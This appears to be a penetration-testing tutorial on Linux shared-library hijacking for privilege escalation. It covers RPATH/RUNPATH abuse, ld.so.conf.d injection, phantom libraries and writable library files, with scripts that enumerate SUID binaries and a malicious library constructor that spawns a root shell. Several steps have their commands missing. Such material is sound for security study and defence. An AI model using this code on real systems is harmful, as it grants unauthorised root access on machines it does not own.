Shared Library Hijacking for Privilege Escalation
When a privileged binary loads shared libraries, it searches several locations in a defined order. If you can write to any directory in that search path before the legitimate library is found, you can intercept the load and execute arbitrary code as the binary's owner. This is distinct from LD_PRELOAD — it works on SUID binaries and system services where LD_PRELOAD is ignored.
Library Search Order
The dynamic linker searches in this order:
RPATHembedded in the binary (hardcoded at compile time)LD_LIBRARY_PATHenvironment variable (ignored for SUID/SGID binaries)RUNPATHembedded in the binaryPaths in
/etc/ld.so.confand/etc/ld.so.conf.d/*.confDefault paths:
/lib,/usr/lib,/lib64,/usr/lib64
For privilege escalation the most valuable targets are RPATH/RUNPATH (work on SUID binaries) and /etc/ld.so.conf.d/ injection (affects system-wide library loading).
Prerequisites Check
Find SUID and root-owned binaries with writable RPATH directories:
# Find all SUID binaries
find / -perm -u=s -type f 2>/dev/null > /tmp/suid_list.txt
# Check RPATH on each
while read binary; do
rpath=$(readelf -d "$binary" 2>/dev/null | grep -i "rpath\|runpath" | awk '{print $NF}' | tr -d '[]')
if [ -n "$rpath" ]; then
echo "$binary -> RPATH: $rpath"
ls -ld $rpath 2>/dev/null | grep -v "^d..x..x..x\|^d.........\|cannot"
fi
done < /tmp/suid_list.txt
Technique 1 — RPATH / RUNPATH Writable Directory
If an SUID binary has an RPATH pointing to a directory you can write to, planting a malicious library there takes precedence over all other search paths.
Step 1 — Confirm RPATH and directory writability:
Step 2 — Find which library to fake:
Step 3 — Write the malicious library:
/tmp/hijack.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
Step 4 — Execute the SUID binary:
The malicious libapp.so.1 loads from the RPATH directory before the legitimate one in /usr/lib, the constructor fires with root privileges, and you get a shell.
Technique 2 — /etc/ld.so.conf.d/ Injection
If you can write to /etc/ld.so.conf.d/ or create a new config file there, you can prepend any directory to the system-wide library search path. After ldconfig runs (often triggered by package installs or scheduled), your directory takes precedence for all dynamically linked programs.
Step 1 — Confirm write access:
Step 2 — Add your directory to the search path:
If ldconfig requires root, wait for it to be triggered automatically or look for another way. Check if a cron job or package manager triggers it:
Step 3 — Identify the target library:
Find a library loaded by a root-owned process or SUID binary that your fake version will shadow:
Step 4 — Plant the malicious library in /tmp:
/tmp/hijack.c
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
Wait for the next time the target service restarts or is triggered.
Technique 3 — Missing Library (Phantom Library)
If ldd shows not found for a library that a SUID binary needs, and any directory in the search path is writable, you can provide the missing library yourself.
# Find SUID binaries with missing libraries
find / -perm -u=s -type f 2>/dev/null | while read f; do
missing=$(ldd "$f" 2>/dev/null | grep "not found")
[ -n "$missing" ] && echo "$f: $missing"
done
For a missing library like libcustom.so.1:
Run the SUID binary — it finds and loads your library.
Technique 4 — Writable Existing Library File
If a library file itself is writable (misconfigured permissions), overwrite it directly:
If found, replace it with your malicious version:
Any binary linking against that library will execute your constructor on next invocation.
Verify Library is Loading
Trace library loading to confirm your library is being found:
Note: LD_DEBUG is ignored for SUID binaries. Use strace instead for those.
References
-
ld.so(8) Manualman7.org/linux/man-pages/man8/ld.so.8.html (opens in new tab)
Library search order, RPATH, RUNPATH, and ld.so.conf documentation.
-
ldconfig(8) Manualman7.org/linux/man-pages/man8/ldconfig.8.html (opens in new tab)
Dynamic linker cache configuration and library path management.
Was this helpful?
Your feedback helps improve this page.